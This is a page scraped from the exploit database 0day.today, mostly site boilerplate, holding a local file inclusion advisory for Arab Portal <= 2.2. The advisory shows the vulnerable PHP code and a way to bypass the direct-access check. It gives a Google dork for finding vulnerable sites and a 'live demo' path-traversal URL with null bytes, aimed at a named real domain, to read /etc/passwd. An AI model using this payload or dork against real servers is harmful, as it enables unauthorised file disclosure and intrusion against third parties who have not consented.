0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Arab Portal <= 2.2 (mod.php module) Local File Inclusion Vulnerability
[======================================================================
Arab Portal <= 2.2 (mod.php module) Local File Inclusion Vulnerability
======================================================================
=Vuln: Arab Portal <= 2.2 Local File Include Vulnerability
=DORK: "intitle:t3al shmeh"
____________
_-=/:Conditions:\=-_
````````````````````````````````````````````````````````````````````````````````
Magic_quotes MUST BE OFF
Register Globals MUST BE ON
The method used to bypass the "direct access" security works on some servers, not sure which ones exactly.
---------------------------------------===--------------------------------------
_________________
_-=/:Vulnerable_Code:\=-_
````````````````````````````````````````````````````````````````````````````````
// in "modules/aljazeera/admin/setup.php"
if (!eregi("mod.php", $PHP_SELF)) { die ("No Direct Access!"); } <---- We can bypass by adding /mod.php end of the URL
echo "<table border=0 width=80% cellspacing=2 cellpadding=6><tr>
<td align=right class=datacell>
<b>Welcome ...</b><br><br>";
include("./../modules/$module/admin/information.php");
//
---------------------------------------===--------------------------------------
_______
_-=/:P.o.C:\=-_
````````````````````````````````````````````````````````````````````````````````
LIVE DEMO:
http://a-shareef.com/modules/aljazeera/admin/setup.php/mod.php?module=../../../../../../etc////passwd%00Qabandi%00Was%00Here
note: the module comes with the script by default.
---------------------------------------===--------------------------------------
__________
_-=/:SOLUTION:\=-_
````````````````````````````````````````````````````````````````````````````````
Use a diffrent method for direct access authentication.
---------------------------------------===--------------------------------------
______________________________________________________________________________
/ \
| I%00REALY%00DONT%00GIVE%00A%00DAMN! |
\______________________________________________________________________________/
\ No More Private /
`````````````````
Salamz to All Muslim Hackers.
# 0day.today [2024-09-28] #